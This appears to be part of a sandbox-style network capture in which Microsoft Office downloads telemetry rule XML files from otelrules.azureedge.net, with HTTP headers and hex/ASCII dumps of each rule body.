2024-10-26 11:45:10 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 97926059-b01e-0002-293b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-17c5cb586f62blg5ss55p9d6fn00000002h00000000042zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:10 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114510Z-16849878b78q9m8bqvwuva4svc00000000g0000000001t39 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: cfffa7b8-401e-0064-673b-2654af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114511Z-15b8d89586fvk4kmbg8pf84y8800000002xg0000000032qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:12 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114512Z-16849878b78wc6ln1zsrz6q9w800000001n0000000009q31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:13 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5d1ecdec-601e-0084-3dad-266b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114513Z-r197bdfb6b46krmwag4tzr9x7c00000001n000000000ba8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:14 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 39b78571-501e-0016-43f4-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114515Z-15b8d89586fzhrwgk23ex2bvhw00000004t0000000002v9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:15 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:15 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114515Z-16849878b78qfbkc5yywmsbg0c00000001pg000000005uq4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:15 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114516Z-16849878b78tg5n42kspfr0x4800000001wg00000000dgzd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:17 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-15b8d89586fvk4kmbg8pf84y8800000002t00000000088qm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:17 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:19 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:19 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:19 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: e37aa075-401e-0067-7f3f-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114519Z-r197bdfb6b4mcssrvu34xzqc540000000220000000003s3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:19 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:21 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:22 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c6fd9367-401e-008c-7f80-2686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114522Z-16849878b786fl7gm2qg4r5y70000000024000000000fx01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:22 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:23 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:23 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b96d8484-001e-005a-2cf4-24c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114523Z-15b8d89586f2hk28h0h6zye26c00000004h0000000000p9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
